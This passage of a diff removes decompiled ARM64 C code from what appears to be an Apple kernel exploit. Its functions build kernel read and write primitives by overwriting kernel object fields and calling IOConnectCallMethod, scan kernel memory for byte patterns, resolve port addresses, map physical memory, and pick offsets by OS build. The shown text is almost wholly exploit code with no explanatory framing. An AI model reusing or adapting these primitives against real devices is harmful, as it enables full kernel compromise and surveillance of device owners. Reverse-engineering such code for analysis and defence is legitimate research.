>= 4 ) - { - v14 = 0; - } - else if ( (((v13 + (unsigned int)v12 - 1) ^ (v13 + 3)) & ~*(_QWORD *)(a1 + 0x188)) != 0 ) - { - v14 = 4 - v12; - } - else - { - v14 = 0; - } - if ( 4 - (unsigned __int64)v14 >= v12 ) - v15 = a4 - v11; - else - v15 = 4LL - v14; - v16 = v13 - v14; - if ( v15 <= 3 && (v17 = kreadbuf_via_dev_null_only(a1, v13 - v14, &v22, 4LL, 0LL), (_DWORD)v17) - || (v17 = sub_266D0(a1, v16), (_DWORD)v17) ) - { - test = v17; - goto LABEL_32; - } - memcpy((char *)&v22 + v14, (const void *)(a3 + v11), v15); - v18 = *(_DWORD *)(a1 + 0x1940); - if ( !*(_QWORD *)(a1 + 0x220) ) - break; - if ( ioctl(v18, 0x8004667CuLL, &v22) ) - goto LABEL_29; -LABEL_26: - v11 = v11 - v14 + 4; - if ( v11 >= a4 ) - goto LABEL_27; - } - if ( !fcntl(v18, 6, v22) ) - goto LABEL_26; -LABEL_29: - v19 = *__error(); - v20 = *__error(); - if ( v19 < 0 ) - v20 = -v20; - test = v20 | 0x40000000u; -LABEL_32: - sub_267E8(a1); -LABEL_33: - if ( a5 ) -LABEL_34: - fd_close(v23); - return test; -} -// 25E54: using guessed type __int64 __fastcall kreadbuf_via_dev_null_only(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD); - -//----- (0000000000026B00) ---------------------------------------------------- -__int64 __fastcall sub_26B00(__int64 a1, int a2) -{ - void *v2; // x19 - _opaque_pthread_t *v3; // x0 - semaphore_t v4; // w8 - semaphore_t v6; // w1 - semaphore_t v7; // w1 - int v8; // w0 - - v2 = *(void **)(a1 + 0x28); - if ( v2 ) - { - *(_BYTE *)(a1 + 0xC) = 0; - *(_QWORD *)(a1 + 0x28) = 0LL; - v3 = *(_opaque_pthread_t **)v2; - if ( *(_QWORD *)v2 ) - { - v4 = *((_DWORD *)v2 + 2); - if ( v4 + 1 >= 2 && a2 != 0 ) - { - *((_BYTE *)v2 + 0x38) = 1; - semaphore_signal(v4); - v3 = *(_opaque_pthread_t **)v2; - } - pthread_join(v3, 0LL); - *(_QWORD *)v2 = 0LL; - } - v6 = *((_DWORD *)v2 + 2); - if ( v6 + 1 >= 2 ) - { - semaphore_destroy(mach_task_self_, v6); - *((_DWORD *)v2 + 2) = 0; - } - v7 = *((_DWORD *)v2 + 3); - if ( v7 + 1 >= 2 ) - { - semaphore_destroy(mach_task_self_, v7); - *((_DWORD *)v2 + 3) = 0; - } - v8 = *((_DWORD *)v2 + 4); - if ( v8 != 0xFFFFFFFF ) - { - close(v8); - *((_DWORD *)v2 + 4) = 0xFFFFFFFF; - } - *((_OWORD *)v2 + 2) = 0u; - *((_OWORD *)v2 + 3) = 0u; - *(_OWORD *)v2 = 0u; - *((_OWORD *)v2 + 1) = 0u; - free(v2); - } - return 0LL; -} - -//----- (0000000000026BE4) ---------------------------------------------------- -__int64 __fastcall sub_26BE4(__int64 a1) -{ - __int64 v2; // x20 - _DWORD *v3; // x0 - _DWORD *v4; // x21 - kern_return_t v5; // w0 - unsigned int v7; // w0 - char i; // w23 - int v9; // w0 - mach_timespec_t v10; // x1 - pthread_t v11; // [xsp+0h] [xbp-40h] BYREF - semaphore_t semaphore[2]; // [xsp+8h] [xbp-38h] BYREF - - if ( *(_QWORD *)(a1 + 0x158) < 0x1F530000000000uLL ) - { - if ( *(_BYTE *)(a1 + 0xC) ) - { - return 0LL; - } - else - { - if ( (unsigned int)(*(_DWORD *)(a1 + 0x10) + 1) <= 1 ) - { - v7 = (unsigned int)sub_24D64("AppleSEPManager"); - if ( v7 + 1 < 2 ) - return 0xAD011LL; - *(_DWORD *)(a1 + 0x10) = v7; - } - for ( i = 0; ; i = 1 ) - { - v9 = _IOServiceSetAuthorizationID(); - if ( v9 != 0xE00002C1 ) - break; - if ( (i & 1) != 0 ) - return v9 & 0xFFF | 0x70000000u; - if ( !(unsigned int)sub_2F294(a1, mach_task_self_) ) - return 0x28041LL; - } - if ( !v9 ) - goto LABEL_21; - return v9 & 0xFFF | 0x70000000u; - } - } - else - { - v2 = 0LL; - v11 = 0LL; - *(_QWORD *)semaphore = 0LL; - if ( !*(_BYTE *)(a1 + 0xC) ) - { - v3 = calloc(1uLL, 0x40uLL); - if ( !v3 ) - return 0xAD009LL; - v4 = v3; - v3[4] = 0xFFFFFFFF; - *(_QWORD *)(a1 + 0x28) = v3; - v5 = semaphore_create(mach_task_self_, &semaphore[1], 0, 0); - if ( !v5 ) - { - v4[2] = semaphore[1]; - v5 = semaphore_create(mach_task_self_, semaphore, 0, 0); - if ( !v5 ) - { - v4[3] = semaphore[0]; - v2 = create_pthread_something(a1, &v11, (__int64)sub_2AB18, (void *)a1); - if ( (_DWORD)v2 ) - goto LABEL_7; - *(_QWORD *)v4 = v11; - v10 = (mach_timespec_t)3LL; - v5 = semaphore_timedwait(semaphore[0], v10); - v2 = (unsigned int)v4[0xF]; - if ( (_DWORD)v2 ) - goto LABEL_7; - if ( !v5 ) - { -LABEL_21: - v2 = 0LL; - *(_BYTE *)(a1 + 0xC) = 1; - return v2; - } - } - } - v2 = v5 | 0x80000000; -LABEL_7: - sub_26B00(a1, 0); - } - } - return v2; -} - -//----- (0000000000026DD0) ---------------------------------------------------- -__int64 __fastcall kreadbuf_via_IOConnectCallMethod( - __int64 a1, - unsigned __int64 a2, - __int64 a3, - unsigned int a4, - int a5) -{ - __int64 v5; // x24 - unsigned int v12; // w8 - __int64 v13; // x28 - unsigned __int64 v14; // x25 - size_t v15; // x26 - unsigned __int64 v16; // x8 - int v17; // w9 - unsigned int v18; // w8 - unsigned int v19; // w27 - mach_port_t v20; // w0 - unsigned __int64 v21; // x8 - __int64 v22; // x9 - __int64 v23; // x9 - __int64 v24; // x10 - __int128 *v25; // x9 - kern_return_t v26; // w0 - unsigned int v27; // w8 - __int64 v28; // x9 - __int64 v29; // x24 - kern_return_t v30; // w0 - __int64 v31; // x10 - unsigned int v32; // w9 - __int64 v33; // x10 - __int64 v34; // x11 - __int64 v35; // x10 - size_t v36; // x2 - __int128 v37; // [xsp+10h] [xbp-A0h] - int v38; // [xsp+20h] [xbp-90h] BYREF - int v39; // [xsp+24h] [xbp-8Ch] BYREF - size_t outputStructCnt; // [xsp+28h] [xbp-88h] BYREF - int outputStruct; // [xsp+30h] [xbp-80h] BYREF - uint32_t outputCnt; // [xsp+34h] [xbp-7Ch] BYREF - uint64_t output[2]; // [xsp+38h] [xbp-78h] BYREF - uint64_t input[2]; // [xsp+48h] [xbp-68h] BYREF - - v5 = 0xAD001LL; - if ( (unsigned int)(*(_DWORD *)(a1 + 0xE8) + 1) >= 2 ) - { - if ( *(_QWORD *)(a1 + 0xF8) ) - { - if ( *(_QWORD *)(a1 + 0x100) ) - { - if ( validate_addr_maybe2(a1, a2) ) - { - v39 = 0xFFFFFFFF; - if ( !a5 || (v5 = fd_open_dev_null(&v39), !(_DWORD)v5) ) - { - if ( a4 ) - { - v12 = 0; - while ( 1 ) - { - v13 = v12; - v14 = a2 + v12; - v15 = a4 - v12; - if ( (*(_QWORD *)(a1 + 0x188) & v14) == 0 && (unsigned int)v15 >= 0x4000 ) - break; - if ( (unsigned int)v15 > 3 ) - goto LABEL_27; - if ( (((v14 + (unsigned int)v15 - 1) ^ (v14 + 3)) & ~*(_QWORD *)(a1 + 0x188)) != 0 ) - v19 = 4 - v15; - else - v19 = 0; -LABEL_28: - v20 = *(_DWORD *)(a1 + 0xE8); - v5 = 0xAD001LL; - if ( v20 + 1 >= 2 ) - { - v21 = v14 - v19; - v22 = *(_QWORD *)(a1 + 0xF8); - v5 = 0xAD001LL; - if ( *(int *)(a1 + 0x140) < 0x2258 ) - { - if ( v22 ) - { - v5 = 0xAD001LL; - if ( *(_QWORD *)(a1 + 0x100) ) - { - v28 = *(_QWORD *)(a1 + 0x108) + v22; - v29 = *(_QWORD *)(v28 + 0xC0); - *(_QWORD *)(v28 + 0xC0) = v21 - 0x14; - output[0] = 0LL; - LODWORD(outputStructCnt) = 1; - input[0] = *(unsigned int *)(a1 + 0x110); - v30 = IOConnectCallMethod( - v20, - 0x10u, - input, - 1u, - 0LL, - 0LL, - output, - (uint32_t *)&outputStructCnt, - 0LL, - 0LL); - if ( v30 ) - { - v27 = v30 | 0x80000000; - } - else - { - v27 = 0; - v38 = output[0]; - } - v35 = *(_QWORD *)(a1 + 0xF8); - v32 = 0xAD001; - if ( v35 ) - { - v32 = 0xAD001; - if ( *(_QWORD *)(a1 + 0x100) ) - { - v32 = 0; - *(_QWORD *)(*(_QWORD *)(a1 + 0x108) + v35 + 0xC0) = v29; - } - } - goto LABEL_54; - } - } - } - else if ( v22 ) - { - v5 = 0xAD001LL; - if ( *(_QWORD *)(a1 + 0x100) ) - { - v23 = *(_QWORD *)(a1 + 0x108) + v22; - v24 = 0x448LL; - if ( *(_QWORD *)(a1 + 0x158) > 0x225C192D0FFFFFuLL ) - v24 = 0x450LL; - v25 = (__int128 *)(v23 + v24); - v37 = *v25; - *(_QWORD *)v25 = v21; - *((_QWORD *)v25 + 1) = 4LL; - outputStruct = 0; - outputCnt = 2; - outputStructCnt = 4LL; - input[0] = *(unsigned int *)(a1 + 0x110); - input[1] = 0LL; - output[0] = 0LL; - output[1] = 0LL; - v26 = IOConnectCallMethod( - v20, - 0x33u, - input, - 2u, - 0LL, - 0LL, - output, - &outputCnt, - &outputStruct, - &outputStructCnt); - if ( v26 ) - { - v27 = v26 | 0x80000000; - } - else - { - v27 = 0; - v38 = outputStruct; - } - v31 = *(_QWORD *)(a1 + 0xF8); - v32 = 0xAD001; - if ( v31 ) - { - v32 = 0xAD001; - if ( *(_QWORD *)(a1 + 0x100) ) - { - v32 = 0; - v33 = *(_QWORD *)(a1 + 0x108) + v31; - v34 = 0x448LL; - if ( *(_QWORD *)(a1 + 0x158) > 0x225C192D0FFFFFuLL ) - v34 = 0x450LL; - *(_OWORD *)(v33 + v34) = v37; - } - } -LABEL_54: - if ( v27 ) - v5 = v27; - else - v5 = v32; - if ( !(_DWORD)v5 ) - { - if ( (unsigned int)v15 >= 4 ) - v36 = 4LL; - else - v36 = v15; - memcpy((void *)(a3 + v13), (char *)&v38 + v19, v36); - } - } - } - } - LODWORD(v15) = 4; -LABEL_30: - if ( (_DWORD)v5 ) - goto LABEL_63; - v12 = v15 + v13; - if ( (int)v15 + (int)v13 >= a4 ) - goto LABEL_62; - } - if ( sub_25734(a1) ) - { - v16 = *(_QWORD *)(a1 + 0x158); - if ( v16 <= 0x1F530F027FFFFFLL ) - v17 = 0x4000; - else - v17 = 0x80000; - if ( v16 <= 0x2711FFFFFFFFFFLL ) - v18 = v17; - else - v18 = 0x210; - if ( (unsigned int)v15 >= v18 ) - v15 = v18; - else - v15 = (unsigned int)v15; - v5 = sub_26204(a1, v14, a3 + v13, v15); - goto LABEL_30; - } -LABEL_27: - v19 = 0; - goto LABEL_28; - } -LABEL_62: - v5 = 0LL; -LABEL_63: - if ( a5 ) - fd_close(v39); - } - } - } - } - } - return v5; -} -// 26204: using guessed type __int64 __fastcall sub_26204(_QWORD, _QWORD, _QWORD, _QWORD); - -//----- (00000000000271B0) ---------------------------------------------------- -__int64 __fastcall sub_271B0(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5) -{ - __int64 v5; // x19 - __int64 v12; // x0 - unsigned int v13; // w27 - unsigned __int64 v14; // x8 - unsigned __int64 v15; // x9 - unsigned int v16; // w28 - size_t v17; // x26 - unsigned __int64 v18; // x25 - __int64 v19; // x0 - mach_port_t v20; // w0 - __int64 v21; // x8 - uint64_t v22; // x9 - __int64 v23; // x8 - __int64 v24; // x10 - __int64 v25; // x26 - kern_return_t v26; // w0 - __int64 v27; // x8 - __int64 v28; // x8 - __int64 v29; // x9 - uint64_t v30; // [xsp+10h] [xbp-80h] BYREF - int v31; // [xsp+1Ch] [xbp-74h] BYREF - uint64_t input[3]; // [xsp+20h] [xbp-70h] BYREF - - v5 = 0xAD001LL; - if ( (unsigned int)(*(_DWORD *)(a1 + 0xE8) + 1) >= 2 - && *(_QWORD *)(a1 + 0xF8) - && *(_QWORD *)(a1 + 0x100) - && validate_addr_maybe2(a1, a2) ) - { - v31 = 0xFFFFFFFF; - if ( !a5 || (v12 = fd_open_dev_null(&v31), !(_DWORD)v12) ) - { - if ( a4 ) - { - v13 = 0; - while ( 1 ) - { - v14 = a4 - v13; - v30 = 0LL; - v15 = a2 + v13; - if ( (unsigned int)v14 >= 8 ) - v16 = 0; - else - v16 = (((v15 + (unsigned int)v14 - 1) ^ (v15 + 7)) & ~*(_QWORD *)(a1 + 0x188)) != 0 ? 8 - v14 : 0; - v17 = 8 - (unsigned __int64)v16 >= v14 ? a4 - v13 : 8LL - v16; - v18 = v15 - v16; - if ( v17 <= 7 ) - { - v19 = kreadbuf_via_IOConnectCallMethod(a1, v15 - v16, (__int64)&v30, 8u, 0); - if ( (_DWORD)v19 ) - break; - } - memcpy((char *)&v30 + v16, (const void *)(a3 + v13), v17); - v20 = *(_DWORD *)(a1 + 0xE8); - if ( v20 + 1 < 2 ) - goto LABEL_35; - v21 = *(_QWORD *)(a1 + 0xF8); - if ( !v21 || !*(_QWORD *)(a1 + 0x100) ) - goto LABEL_35; - v22 = v30; - v23 = *(_QWORD *)(a1 + 0x108) + v21; - v24 = 0x360LL; - if ( *(int *)(a1 + 0x140) > 0x2257 ) - v24 = 0x368LL; - v25 = *(_QWORD *)(v23 + v24); - *(_QWORD *)(v23 + v24) = v18; - input[0] = *(unsigned int *)(a1 + 0x110); - input[1] = 0LL; - input[2] = v22; - v26 = IOConnectCallMethod(v20, 0x21u, input, 3u, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL); - v27 = *(_QWORD *)(a1 + 0xF8); - if ( !v27 || !*(_QWORD *)(a1 + 0x100) ) - { - if ( !v26 ) - goto LABEL_35; -LABEL_33: - v5 = v26 | 0x80000000; - goto LABEL_35; - } - v28 = *(_QWORD *)(a1 + 0x108) + v27; - v29 = 0x360LL; - if ( *(int *)(a1 + 0x140) > 0x2257 ) - v29 = 0x368LL; - *(_QWORD *)(v28 + v29) = v25; - if ( v26 ) - goto LABEL_33; - v13 = v13 - v16 + 8; - if ( v13 >= a4 ) - goto LABEL_31; - } - v5 = v19; - } - else - { -LABEL_31: - v5 = 0LL; - } -LABEL_35: - if ( a5 ) - fd_close(v31); - return v5; - } - return v12; - } - return v5; -} - -//----- (0000000000027414) ---------------------------------------------------- -__int64 __fastcall physmap_maybe(__int64 a1, vm_address_t *a2, vm_size_t a3, __int64 a4) -{ - kern_return_t v4; // w0 - - v4 = vm_map(mach_task_self_, a2, a3, 0LL, 1, *(_DWORD *)(a1 + 0x58), a4 & ~*(_QWORD *)(a1 + 0x188), 0, 3, 3, 2u); - if ( v4 ) - return v4 | 0x80000000; - else - return 0LL; -} - -//----- (0000000000027478) ---------------------------------------------------- -__int64 __fastcall sub_27478(__int64 a1) -{ - io_object_t v2; // w0 - vm_address_t v3; // x1 - vm_size_t v4; // x2 - mach_port_name_t v5; // w1 - - v2 = *(_DWORD *)(a1 + 0x5C); - if ( v2 + 1 >= 2 ) - { - IOObjectRelease(v2); - *(_DWORD *)(a1 + 0x5C) = 0; - } - v3 = *(_QWORD *)(a1 + 0x60); - if ( v3 ) - { - v4 = *(_QWORD *)(a1 + 0x68); - if ( v4 ) - { - vm_deallocate(mach_task_self_, v3, v4); - *(_QWORD *)(a1 + 0x60) = 0LL; - *(_QWORD *)(a1 + 0x68) = 0LL; - } - } - *(_QWORD *)(a1 + 0x70) = 0LL; - *(_QWORD *)(a1 + 0x78) = 0LL; - v5 = *(_DWORD *)(a1 + 0x58); - if ( v5 + 1 >= 2 ) - { - mach_port_deallocate(mach_task_self_, v5); - *(_DWORD *)(a1 + 0x58) = 0; - } - return 0LL; -} - -//----- (0000000000027504) ---------------------------------------------------- -__int64 __fastcall sub_27504(__int64 a1, char a2) -{ - __int64 v4; // x23 - bool v5; // zf - __int64 v6; // x21 - __int64 v7; // x0 - __int64 v8; // x21 - unsigned __int64 v9; // x22 - unsigned __int64 v10; // x25 - unsigned __int64 v11; // x0 - unsigned __int64 v12; // x23 - __int64 v13; // x0 - int v14; // w8 - __int64 v15; // x20 - int v16; // w22 - __int64 v17; // x0 - unsigned __int64 v18; // x0 - unsigned __int64 v19; // x20 - __int64 v20; // x0 - int v21; // w8 - __int64 v23; // [xsp+8h] [xbp-88h] BYREF - __int128 v24; // [xsp+10h] [xbp-80h] BYREF - __int64 v25; // [xsp+20h] [xbp-70h] - __int128 v26; // [xsp+28h] [xbp-68h] BYREF - __int64 v27; // [xsp+38h] [xbp-58h] - - v4 = 0xAD011LL; - if ( *(_QWORD *)(a1 + 0x80) ) - v5 = *(_DWORD *)(a1 + 0x88) == 0; - else - v5 = 1; - if ( !v5 ) - goto LABEL_23; - if ( (a2 & 1) != 0 ) - return 0xAD001LL; - sub_19D10(*(_QWORD *)(a1 + 0x19F8), &v26); - *((_QWORD *)&v26 + 1) = *((_QWORD *)&v26 + 1) + v27 - 0x20000; - v27 = 0x20000LL; - v24 = v26; - v25 = 0x20000LL; - v7 = kernel_pattern_scan((__int64)&v24, "88 91 00 B9 9F 0D 00 B9", 0); - if ( !v7 ) - return 0xAD011LL; - v8 = v7; - v9 = 0LL; - v10 = 0xFFFFFFFFFFFFFFFCLL; - while ( 1 ) - { - if ( (sub_19ACC(*(__int64 **)(a1 + 0x19F8), (__int64 *)(v8 + v10 + 4)) & 0x9F000000) != 0x90000000 - || (sub_19ACC(*(__int64 **)(a1 + 0x19F8), (__int64 *)(v8 + v10 + 8)) & 0xBFC00000) != 0xB9400000 ) - { - goto LABEL_15; - } - v11 = sub_1E854(*(__int64 **)(a1 + 0x19F8), (__int64 *)(v8 + v10 + 4)); - if ( !v11 ) - return 0xAD011LL; - v12 = v11; - if ( v9 ) - break; - v9 = v11; -LABEL_15: - v10 += 4LL; - if ( v10 >= 0xFC ) - return 0xAD011LL; - } - v6 = 0x28026LL; - if ( !kread64((_DWORD *)a1, v9, (__int64 *)&v24) ) - return 0x2800FLL; - if ( !validate_addr(a1, v24) ) - return v6; - if ( !kread64((_DWORD *)a1, v12, &v23) ) - return 0x2800FLL; - if ( validate_addr(a1, v23) ) - { - v13 = get_kobject_maybe(a1, v24); - if ( v13 ) - { - v14 = v23 - v24; - *(_QWORD *)(a1 + 0x80) = v13; - *(_DWORD *)(a1 + 0x88) = v14; - v4 = 0xAD011LL; -LABEL_23: - v6 = *(_QWORD *)(a1 + 0xA0) != 0LL && *(_DWORD *)(a1 + 0xA8) != 0 ? 0LL : 0xAD001LL; - if ( (*(_QWORD *)(a1 + 0xA0) == 0LL || *(_DWORD *)(a1 + 0xA8) == 0) && (a2 & 1) == 0 ) - { - sub_19C34("__DATA", *(_QWORD *)(a1 + 0x19F8), "__percpu", &v26); - v15 = *((_QWORD *)&v26 + 1); - if ( *((_QWORD *)&v26 + 1) ) - { - v16 = v27; - if ( v27 ) - { - sub_19D10(*(_QWORD *)(a1 + 0x19F8), &v26); - if ( *((_QWORD *)&v26 + 1) ) - { - if ( v27 ) - { - *((_QWORD *)&v26 + 1) = *((_QWORD *)&v26 + 1) + v27 - 0x20000; - v27 = 0x20000LL; - v17 = kernel_pattern_scan((__int64)&v26, ".. 02 00 F9 E1 03 13 AA", 0); - if ( v17 ) - { - v18 = sub_1EB2C(*(__int64 **)(a1 + 0x19F8), (__int64 *)(v17 - 8), 0); - if ( v18 ) - { - v4 = 0x28026LL; - if ( kread64_internal(a1, v18, &v24) ) - { - v19 = v24 + v15; - if ( validate_addr(a1, v19) ) - { - v20 = get_kobject_maybe(a1, v19); - if ( v20 ) - { - v6 = 0LL; - v21 = (*(_DWORD *)(a1 + 0x188) + v16) & ~*(_DWORD *)(a1 + 0x188); - *(_QWORD *)(a1 + 0xA0) = v20; - *(_DWORD *)(a1 + 0xA8) = v21; - return v6; - } - } - } - else - { - return 0x2800FLL; - } - } - else - { - return 0xAD014LL; - } - } - } - } - } - } - return v4; - } - } - } - return v6; -} - -//----- (0000000000027808) ---------------------------------------------------- -__int64 __fastcall sub_27808(__int64 a1, char a2) -{ - vm_size_t v4; // x19 - int v5; // w8 - __int64 v6; // x21 - unsigned int v10; // w27 - kern_return_t v11; // w0 - int v12; // w8 - unsigned __int64 v13; // x21 - bool v14; // zf - int v15; // w8 - int v16; // w9 - void *(__cdecl *v17)(void *); // x0 - int v18; // w0 - int v19; // w8 - int v20; // w26 - unsigned int v21; // w24 - mach_port_t v22; // w0 - mach_port_t v23; // w26 - unsigned __int64 v24; // x0 - __int64 v25; // x0 - __int64 v26; // x27 - semaphore_t v27; // w25 - int v28; // w8 - int v29; // w25 - __int64 v30; // x28 - __int64 v31; // x3 - vm_size_t v32; // x22 - __int64 v33; // x0 - void *v34; // x23 - void *v35; // x0 - int v36; // w8 - char *v37; // x9 - int v38; // w10 - char *v39; // x11 - __int64 v40; // x12 - char *v41; // x24 - kern_return_t v42; // w0 - int v43; // w9 - size_t v44; // x25 - int v45; // w0 - int v46; // w8 - unsigned int v47; // w8 - void *v48; // x0 - uint64_t v49; // x8 - _opaque_pthread_t *v50; // x0 - mach_port_t v51; // w0 - semaphore_t v52; // w8 - __int64 v53; // x28 - unsigned int v54; // w28 - __int64 v55; // x8 - unsigned __int64 v56; // x8 - __int64 v57; // x27 - unsigned __int64 v58; // x25 - pthread_t *v59; // x28 - void *(__cdecl *v60)(void *); // x0 - int v61; // w0 - int v62; // w0 - unsigned int v63; // w8 - unsigned __int64 v64; // x21 - __int64 v65; // x9 - _opaque_pthread_t *v66; // x0 - int v67; // w0 - int v68; // w8 - int v69; // w8 - int v70; // w8 - int v71; // w26 - pthread_t *v72; // x0 - unsigned int v73; // w9 - unsigned __int64 v74; // x28 - vm_address_t v75; // x1 - vm_size_t v76; // x2 - __int64 *v78; // x22 - unsigned int v79; // [xsp+4h] [xbp-7Ch] - uint64_t v80; // [xsp+8h] [xbp-78h] - unsigned int v81; // [xsp+10h] [xbp-70h] - vm_address_t address; // [xsp+18h] [xbp-68h] BYREF - pthread_t v83; // [xsp+20h] [xbp-60h] BYREF - semaphore_t semaphore; // [xsp+2Ch] [xbp-54h] BYREF - - address = 0LL; - v4 = vm_page_size; - v5 = *(_DWORD *)(a1 + 0x140); - v6 = 0x2802CLL; - if ( v5 > 0x2257 ) - { - if ( v5 != 0x2258 && v5 != 0x2712 && v5 != 0x225C ) - return v6; - } - else if ( (unsigned int)(v5 - 0x1F53) >= 2 && v5 != 0x1C1B ) - { - return v6; - } - if ( krw_ctx_has_flag((_DWORD *)a1, 0x4000000) ) - { - v10 = 0x108; - } - else - { - v10 = 0xB8; - if ( !krw_ctx_has_flag((_DWORD *)a1, 0x5584001) ) - { - if ( krw_ctx_has_flag((_DWORD *)a1, 0x200) ) - v10 = 0xB8; - else - v10 = 0x100; - } - } - if ( *(_QWORD *)(a1 + 0x30) && (a2 & 1) == 0 ) - { - v83 = 0LL; - semaphore = 0; - v11 = semaphore_create(mach_task_self_, &semaphore, 0, 0); - if ( v11 ) - { - v6 = v11 | 0x80000000; - } - else - { - v17 = (void *(__cdecl *)(void *))nullsub_1(sub_2AD98); - v18 = pthread_create(&v83, 0LL, v17, (void *)semaphore); - if ( v18 ) - { - if ( v18 >= 0 ) - v19 = v18; - else - v19 = -v18; - v6 = v19 | 0x40000000u; - } - else - { - v22 = pthread_mach_thread_np(v83); - if ( v22 + 1 < 2 ) - { - v6 = 0x28008LL; - } - else - { - v23 = v22; - v24 = port_name_to_kaddr(a1, v22); - if ( v24 ) - { - v25 = get_kobject_maybe(a1, v24 + v10); - if ( v25 ) - { - v26 = v25; - v27 = semaphore; - goto LABEL_155; - } - } - v6 = 0x28026LL; - } - } - } - if ( semaphore + 1 >= 2 ) - { - semaphore_signal(semaphore); - semaphore_destroy(mach_task_self_, semaphore); - } - if ( v83 ) - pthread_join(v83, 0LL); - goto LABEL_158; - } - v6 = sub_27504(a1, a2); - if ( (_DWORD)v6 ) - { -LABEL_158: - if ( address && v4 ) - vm_deallocate(mach_task_self_, address, v4); - return v6; - } - v12 = *(_DWORD *)(a1 + 0x140); - if ( v12 <= 0x2257 ) - { - if ( v12 != 0x1F53 ) - { - if ( v12 == 0x1F54 ) - { - v20 = 0x30; - v21 = 0x2600; - goto LABEL_66; - } - goto LABEL_76; - } - if ( *(_QWORD *)(a1 + 0x158) <= 0x1F5313FFFFFFFFuLL ) - v21 = 0x2600; - else - v21 = 0x2610; - } - else - { - switch ( v12 ) - { - case 0x2258: - v14 = !krw_ctx_has_flag((_DWORD *)a1, 0x5584201); - v15 = 0x26E0; - v16 = 0x26D0; - break; - case 0x225C: - v20 = 0x30; - v21 = 0x26B0; - goto LABEL_66; - case 0x2712: - v13 = *(_QWORD *)(a1 + 0x158); - v14 = !krw_ctx_has_flag((_DWORD *)a1, 0x20); - if ( v13 < 0x27120A80800000LL ) - { - v15 = 0x45F0; - v16 = 0x27B0; - } - else - { - v15 = 0x4610; - v16 = 0x27D0; - } - break; - default: - goto LABEL_76; - } - if ( v14 ) - v21 = v16; - else - v21 = v15; - } - v28 = *(_DWORD *)(a1 + 0x140); - v20 = 0x30; - if ( v28 > 0x225B ) - { - if ( v28 == 0x225C ) - goto LABEL_66; - if ( v28 == 0x2712 ) - { - v20 = 0x28; - goto LABEL_66; - } -LABEL_76: - v6 = 0x2802CLL; - goto LABEL_158; - } - if ( (unsigned int)(v28 - 0x1F53) >= 2 && v28 != 0x2258 ) - goto LABEL_76; -LABEL_66: - v29 = number_of_cpus(); - v30 = (unsigned int)(v29 - 1); - v31 = *(_QWORD *)(a1 + 0xA0); - v83 = 0LL; - v32 = (unsigned int)(*(_DWORD *)(a1 + 0xA8) * v30); - v33 = physmap_here(a1, (vm_address_t *)&v83, v32, v31); - if ( (_DWORD)v33 ) - { - v6 = v33; - v27 = 0; - v23 = 0; - v26 = 0LL; - v34 = 0LL; - goto LABEL_146; - } - v6 = 0xAD009LL; - v35 = calloc(v29, 8uLL); - v34 = v35; - if ( !v35 ) - { -LABEL_142: - v27 = 0; - v23 = 0; - v26 = 0LL; - goto LABEL_146; - } - if ( v29 != 1 ) - { - v36 = 0; - v37 = (char *)v83 + v21; - v38 = *(_DWORD *)(a1 + 0xA8); - do - { - v39 = &v37[v36]; - v40 = *(unsigned __int16 *)v39; - if ( v29 <= (int)v40 ) - { - v27 = 0; - v23 = 0; - v26 = 0LL; - v6 = 0xAD014LL; - goto LABEL_146; - } - *((_QWORD *)v35 + v40) = v39; - v36 += v38; - --v30; - } - while ( v30 ); - } - semaphore = 0; - v41 = (char *)calloc(1uLL, 0x90uLL); - if ( !v41 ) - { - v43 = 0; - LODWORD(v44) = 0; - goto LABEL_130; - } - v42 = semaphore_create(mach_task_self_, &semaphore, 0, 0); - if ( v42 ) - { - v43 = 0; - LODWORD(v44) = 0; - v6 = v42 | 0x80000000; - goto LABEL_130; - } - *((_DWORD *)v41 + 4) = v29; - *((_DWORD *)v41 + 5) = v20; - *((_DWORD *)v41 + 0x1F) = 0; - *(_QWORD *)v41 = a1; - *((_QWORD *)v41 + 1) = v34; - *((_DWORD *)v41 + 0x18) = v10; - *((_DWORD *)v41 + 0x22) = semaphore; - v45 = pthread_mutex_init((pthread_mutex_t *)(v41 + 0x20), 0LL); - if ( v45 ) - { - v43 = 0; - LODWORD(v44) = 0; - if ( v45 >= 0 ) - v46 = v45; - else - v46 = -v45; - v6 = v46 | 0x40000000u; - goto LABEL_130; - } - v47 = 2 * number_of_cpus(); - if ( v47 <= 8 ) - v44 = 8LL; - else - v44 = v47; - *((_DWORD *)v41 + 0x1F) = v44; - v48 = calloc(v44, 8uLL); - *((_QWORD *)v41 + 0x10) = v48; - if ( !v48 ) - { -LABEL_129: - v43 = 1; - goto LABEL_130; - } - v49 = mach_absolute_time(); - v50 = (_opaque_pthread_t *)*((_QWORD *)v41 + 0xD); - v81 = v44; - if ( v50 ) - goto LABEL_89; - v80 = v49; - v6 = 0LL; - v54 = 2; - do - { - *((_QWORD *)v41 + 3) = 0LL; - if ( v54 >= (unsigned int)v44 ) - v55 = (unsigned int)v44; - else - v55 = v54; - *((_DWORD *)v41 + 0x1E) = 0; - *((_DWORD *)v41 + 0x1F) = v55; - bzero(*((void **)v41 + 0x10), 8 * v55); - if ( (mach_absolute_time() - v80) * *(unsigned int *)(a1 + 0x25C) / *(unsigned int *)(a1 + 0x260) > 0x12A15343FLL ) - { - v6 = 0x80000031LL; - goto LABEL_129; - } - LODWORD(v56) = *((_DWORD *)v41 + 0x1F); - if ( (_DWORD)v56 ) - { - v79 = v54; - v57 = 0LL; - v58 = 0LL; - do - { - v59 = (pthread_t *)(*((_QWORD *)v41 + 0x10) + v57); - v60 = (void *(__cdecl *)(void *))nullsub_1(sub_2ADB4); - v61 = pthread_create(v59, 0LL, v60, v41); - if ( v61 ) - { - if ( v61 >= 0 ) - v69 = v61; - else - v69 = -v61; - v6 = v69 | 0x40000000u; - goto LABEL_123; - } - ++v58; - v56 = *((unsigned int *)v41 + 0x1F); - v57 += 8LL; - } - while ( v58 < v56 ); - LODWORD(v44) = v81; - v54 = v79; - } - if ( (_DWORD)v6 ) - goto LABEL_129; - if ( *((_DWORD *)v41 + 0x1E) < (unsigned int)v56 ) - { - do - thread_switch(0, 2, 1u); - while ( *((_DWORD *)v41 + 0x1E) < *((_DWORD *)v41 + 0x1F) ); - } - v62 = pthread_mutex_lock((pthread_mutex_t *)(v41 + 0x20)); - if ( v62 ) - goto LABEL_124; - v63 = *((_DWORD *)v41 + 0x1F); - if ( !v63 ) - { -LABEL_110: - v6 = 0LL; - goto LABEL_115; - } - v64 